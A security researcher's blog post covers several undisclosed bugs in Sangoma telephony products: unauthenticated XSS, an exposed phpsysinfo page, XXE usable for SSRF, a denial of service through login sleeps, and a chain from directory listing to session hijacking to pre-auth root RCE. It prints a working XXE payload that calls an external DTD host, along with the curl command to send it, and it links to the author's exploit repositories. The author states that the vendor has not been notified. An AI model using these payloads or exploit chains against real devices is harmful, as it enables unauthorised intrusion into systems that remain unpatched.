Miscellaneous Other Bugs in Sangoma Products.

This is part of a series of posts on the Sangoma exploits I released at BSides Basingstoke 2024.

I figured I'd do kind of a roundup of a handful of "other bugs" in the Sangoma products I've been looking at. It isn't exhaustive - there are a few in my notes that I need to reproduce and just haven't been bothered, I'll leave those for other bug hunters 😄

The last one I found while writing this up.


Of course there is cross site scripting.

Firstly, here is an unauthenticated XSS in the NSG. While the vulnerable file is available on the NTG and VideoMCU, the "XSS filter" on those that neuters angle brackets made it not worth the time to figure out how to get working.


Largely useless infoleak, noting it anyway.

Next up: NTG, VideoMCU, and NSG all expose a phpsysinfo page without auth.. NSC also has this feature - but it has been "modified" to require a login.

on ntg
on videomcu
nsg

XXE on NTG and VideoMCU.

Next up, the NTG and VideoMCU both suffer from a rather trivial XXE issue (which can be used to send arbitrary GET requests ala SSRF...). You can probably use this to extract files or something, I just didn't really bother spending a huge amount of time on this.

NTG XXE request
NTG XXE happened.
VideoMCU XXE request
VideoMCU XXE happened

To trigger this, is quite simple. Here is the PoC for you to play with at home.

(venv) %n@%m %1~ %# cat xxe.xml 
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE DATA [
  <!ENTITY % dtd SYSTEM "http://blablabla/hack.php?hacky=hacky">
  %dtd;
]>
<data> &send; </data>
(venv) %n@%m %1~ %# curl --upload-file xxe.xml -X POST -v -H "Content-Type:application/xml" http://192.168.0.210/soap.php?classname=Console

Of course, all of them also do that silly "sleep to prevent a brute force" in their login scripts, so you can quite easily exhaust the web server thread pool and cause a very effective DoS attack without much effort.


Side Quest: Dir listing -> Session Hijacking -> RCE

For some reason, on the VideoMCU, we can do the following and list files:

# curl localhost/SAFe/js/jqueryFileTree/connectors/jqueryFileTree.php -d 'dir=/'
<ul class="jqueryFileTree" style="display: none;"><li class="directory collapsed"><a href="#" rel="/.python-eggs/">.python-eggs</a></li><li class="directory collapsed"><a href="#" rel="/bin/">bin</a></li><li class="directory collapsed"><a href="#" rel="/boot/">boot</a></li><li class="directory collapsed"><a href="#" rel="/dev/">dev</a></li><li class="directory collapsed"><a href="#" rel="/etc/">etc</a></li><li class="directory collapsed"><a href="#" rel="/home/">home</a></li><li class="directory collapsed"><a href="#" rel="/lib/">lib</a></li><li class="directory collapsed"><a href="#" rel="/lost+found/">lost+found</a></li><li class="directory collapsed"><a href="#" rel="/media/">media</a></li><li class="directory collapsed"><a href="#" rel="/mnt/">mnt</a></li><li class="directory collapsed"><a href="#" rel="/opt/">opt</a></li><li class="directory collapsed"><a href="#" rel="/proc/">proc</a></li><li class="directory collapsed"><a href="#" rel="/root/">root</a></li><li class="directory collapsed"><a href="#" rel="/sbin/">sbin</a></li><li class="directory collapsed"><a href="#" rel="/selinux/">selinux</a></li><li class="directory collapsed"><a href="#" rel="/srv/">srv</a></li><li class="directory collapsed"><a href="#" rel="/sys/">sys</a></li><li class="directory collapsed"><a href="#" rel="/tmp/">tmp</a></li><li class="directory collapsed"><a href="#" rel="/usr/">usr</a></li><li class="directory collapsed"><a href="#" rel="/var/">var</a></li><li class="file ext_autofsck"><a href="#" rel="/.autofsck">.autofsck</a></li><li class="file ext_autorelabel"><a href="#" rel="/.autorelabel">.autorelabel</a></li><li class="file ext_rnd"><a href="#" rel="/.rnd">.rnd</a></li><li class="file ext_txt"><a href="#" rel="/octconsole_log_0.txt">octconsole_log_0.txt</a></li></ul>

Now, this seemed pretty fucking boring to me initially. Until I realised something. Sessions are stored in files like sess_63359877f7a85622272ebb92a9dc3fc7, where the crap after sess_ is the PHPSESSID value... in the directory /var/webconfig/tmp/ and we can list the contents of arbitrary directories...

You see where this is going? We can hijack sessions. Which means that our previous VideoMCU RCE becomes a LOT more interesting, we can do it pre-auth.

Lets give it a try. I wrote the dumbest, buggiest piece of shit exploit of all time, basically. It works. Honestly, it would be a post of its own, but I'm lumping it in with the other shit for now.

You can find it here: https://github.com/fullspectrumdev/sangoma-videomcu-hijack-rce/

Now, it obviously occurred to me immediately that I should see if this works on the NTG, which is similar to the VideoMCU. Because - that would be great. And it does. We quickly make it work and... Done.

You can find the NTG exploit here: https://github.com/fullspectrumdev/sangoma-ntg-hijack-rce

This actually makes me deeply happy: it fulfils my kind of "completionism" as I now have fully working, pre-authentication, remote root exploits for all four of the products I started with. Even though - for the older NTG and VideoMCU, you do need there to be an admin logged in sometime. I can live with that.

These issues have not been disclosed to Sangoma yet, due to their past performance when it comes to handling vulnerability disclosures - I don't have time to waste fighting uncooperative vendors.

In the next - penultimate episode - I'll talk over a few of the nice methods I used for hunting bugs. Mostly old hat, but I'll try go over my methodology. The final post will be largely a roundup where I actually bother enumerating all the bugs - an executive summary of sorts :)